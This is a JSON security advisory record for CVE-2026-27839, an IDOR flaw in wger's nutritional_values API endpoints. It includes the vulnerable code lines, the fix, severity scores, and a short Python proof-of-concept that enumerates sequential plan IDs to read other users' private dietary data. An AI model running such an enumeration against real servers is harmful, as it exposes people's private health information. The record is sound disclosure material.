{"id":"CVE-2026-27839","aliases":["CVE-2026-27839","GHSA-g8gc-6c4h-jg86","PYSEC-2026-3422"],"related":[],"kind":"vulnerability","state":"published","title":"wger: IDOR in nutritional_values endpoints exposes private dietary data via direct ORM lookup","summary":"wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"wger is a free, open-source workout and fitness manager. In versions up to and including 2.4, three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK. Commit 29876a1954fe959e4b58ef070170e81703dab60e contains a fix for the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThree `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.\n\n### Details\n\nDRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:\n\n`wger/nutrition/api/views.py`:\n\n```python\n# line 301 — NutritionPlanViewSet\nplan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check\n\n# line 356 — MealViewSet\nmeal = Meal.objects.get(pk=pk)                    # VULNERABLE\n\n# line 403 — MealItemViewSet\nmeal_item = MealItem.objects.get(pk=pk)           # VULNERABLE\n```\n\nThe correct pattern used in the same file at `LogItemViewSet` (line 438):\n\n```python\nLogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT\n```\n\nAffected endpoints:\n```\nGET /api/v2/nutritionplan/{pk}/nutritional_values/\nGET /api/v2/meal/{pk}/nutritional_values/\nGET /api/v2/mealitem/{pk}/nutritional_values/\n```\n\n### PoC\n\n```python\nimport requests\n\nBASE = \"http://localhost\"\n# Attacker's token (any registered user)\nheaders = {\"Authorization\": \"Token ATTACKER_TOKEN\"}\n\n# Read victim's nutrition plan — enumerate pk starting from 1\nfor pk in range(1, 100):\n    r = requests.get(\n        f\"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/\",\n        headers=headers\n    )\n    if r.status_code == 200:\n        data = r.json()\n        print(f\"Plan {pk}: {data}\")\n        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,\n        #          fat, fat_saturated, fiber, sodium\n```\n\nNo interaction from the victim required. Registration is open by default. PKs are sequential integers.\n\n### Impact\n\nAny authenticated user can read other users' private dietary and health data:\n- Daily caloric intake\n- Protein, carbohydrate, fat, fiber, and sodium intake\n- Full meal composition and ingredient quantities\n\nThis data is sensitive health information users expect to be private.\n\n**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.","format":"markdown","source":"ghsa"},{"lang":"es","text":"wger es un gestor gratuito y de código abierto de entrenamientos y estado físico. En las versiones hasta la 2.4 inclusive, tres puntos finales de acción 'nutritional_values' recuperan objetos a través de 'Model.objects.get(pk=pk)' — una llamada ORM directa que omite el queryset con ámbito de usuario. Cualquier usuario autenticado puede leer los datos del plan de nutrición privado de otro usuario, incluyendo la ingesta calórica y el desglose completo de macronutrientes, al proporcionar un PK arbitrario. El commit 29876a1954fe959e4b58ef070170e81703dab60e contiene una solución para el problema.","source":"nvd"}],"published":"2026-02-26T22:07:43.640Z","modified":"2026-07-13T16:43:39.597Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"}],"cwes":["CWE-639"],"affected":[{"ranges":[{"version":"<= 2.4","status":"affected"}],"vendor":"wger-project","product":"wger","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"2.1"}],"ecosystem":"PyPI","package":"wger","purl":"pkg:pypi/wger","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"2.4"}],"vendor":"wger","product":"wger","cpe":"cpe:2.3:a:wger:wger:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"2.1"}],"ecosystem":"PyPI","package":"wger","purl":"pkg:pypi/wger","source":"pysec"}],"references":[{"url":"https://github.com/wger-project/wger/security/advisories/GHSA-g8gc-6c4h-jg86","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/wger-project/wger/commit/29876a1954fe959e4b58ef070170e81703dab60e","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27839","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/wger-project/wger","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/wger","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-g8gc-6c4h-jg86","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-03T01:36:36.210Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-27839","url":"https://www.cve.org/CVERecord?id=CVE-2026-27839","licence":"CVE Terms of Use","modified":"2026-03-03T01:36:50.202Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-g8gc-6c4h-jg86","url":"https://github.com/advisories/GHSA-g8gc-6c4h-jg86","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:39.597Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-27839","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27839","licence":"Public domain","modified":"2026-06-17T10:27:46.367Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3422","url":"https://osv.dev/vulnerability/PYSEC-2026-3422","licence":"CC-BY-4.0","modified":"2026-07-13T16:33:32.425Z"}],"updatedAt":"2026-11-25T22:59:14.982Z","epss":{"score":0.00311,"percentile":0.25892,"date":"2026-12-01T12:00:22.000Z"}}